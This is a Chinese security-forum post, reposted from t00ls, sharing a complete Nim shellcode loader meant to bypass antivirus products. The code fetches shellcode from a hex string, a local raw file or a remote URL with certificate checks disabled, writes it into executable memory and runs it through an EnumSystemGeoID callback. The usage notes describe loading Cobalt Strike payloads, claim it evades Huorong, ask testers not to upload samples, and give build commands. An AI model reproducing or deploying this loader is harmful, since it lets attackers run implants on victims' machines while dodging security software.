安全矩阵

 找回密码
 立即注册
搜索
查看: 2730|回复: 0

利用nim编写shellcode加载器bypass全家桶

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 09:56:35 | 显示全部楼层 |阅读模式
原文链接:利用nim编写shellcode加载器bypass全家桶

首先本文首发在t00ls社区,作者shadowwolf
  1. import httpclient
  2. import streams
  3. import os
  4. import strutils
  5. import winim/lean
  6. import stew/byteutils
  7. import net
  8. proc shellcodeCallback(shellcode: openarray[byte]): void =
  9.     echo "<li> T00ls.cc Nim-shellcode-loader shadowwolf"
  10.     let CurrentProcess = GetCurrentProcessId()
  11.     echo "<li> Target Process: ", CurrentProcess
  12.     echo "<li> Length Of Shellcode: ", len(shellcode)
  13.     echo "[+] Injecting!"
  14.     discard """
  15.     T00ls.cc 14454-shadowwolf
  16.     """
  17.     # Application for memory
  18.     let rPtr = VirtualAlloc(
  19.         nil,
  20.         cast[SIZE_T](shellcode.len),
  21.         MEM_COMMIT,
  22.         PAGE_EXECUTE_READ_WRITE
  23.     )

  24.     # Copy Shellcode to the allocated memory section
  25.     copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))

  26.     # Callback execution
  27.     EnumSystemGeoID(
  28.         16,
  29.         0,
  30.         cast[GEO_ENUMPROC](rPtr)
  31.     )
  32. proc RequestGet(url:string,header={"user-agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}):string=
  33.      type
  34.         sslContext=ref object
  35.      var
  36.         client = newHttpClient(sslContext=newContext(verifyMode=CVerifyNone))
  37.         RequestHeaders=newHttpHeaders(header)
  38.         resp=client.request(url,headers=RequestHeaders)
  39.      return resp.bodyStream.readAll().replace("\\x"," ").replace(",","").replace(" ","")
  40. #To get the shellcode on the website you put on
  41. proc GetShellcodeAndRun(para:string):void=
  42.     if("http" in para):
  43.        echo "<li> Get the shellcode on the website:"¶
  44.        let resp=RequestGet(para)#Get the shellcode on your website
  45.        var shellcode = newSeq[byte](len(resp) div 2)#calc the length
  46.        hexToByteArray(resp, shellcode)#convert hex string into array
  47.        shellcodeCallback(shellcode)#execute
  48.     elif fileExists(para):
  49.         echo "<li> Get the file:"¶
  50.         var
  51.             filename = para
  52.             file: File
  53.         file = open(filename, fmRead)
  54.         var fileSize = file.getFileSize()
  55.         var shellcode = newSeq[byte](fileSize)
  56.         discard file.readBytes(shellcode, 0, fileSize)
  57.         file.close()
  58.         shellcodeCallback(shellcode)
  59.     else:
  60.         echo "<li> Get the string:"¶
  61.         var hexstr: string = para
  62.         var shellcode = newSeq[byte](len(hexstr) div 2)
  63.         hexToByteArray(hexstr, shellcode)
  64.         shellcodeCallback(shellcode)
  65. if paramCount()>=1:
  66.    var para:string=paramStr(1)
  67.    GetShellcodeAndRun(para)
复制代码

使用方法①可payload直接键入上线注意:除了加载bin文件是不用额外操作之外 其他的加载方式都需要把payload中的\x删去

②可加载bin文件上线
即cs里面生成的raw

③可请求远程服务器获取payload

也可以请求github/gitee获取payload

注意:放在远程服务器上的必须是去掉\x的 如图所示:

  1. 查杀情况
  2. 过火绒,360全家桶没有试过 要试的哥哥不要开上传样本 谢谢啦
  3. 1.先装所需的库 nimble install https://gitee.com/oagi/winim.git
  4. 2.编译生成exe: nim c --cpu:i386 -d:mingw -d:ssl --opt:size shellcode_loader.nim
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 23:03 , Processed in 0.017199 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表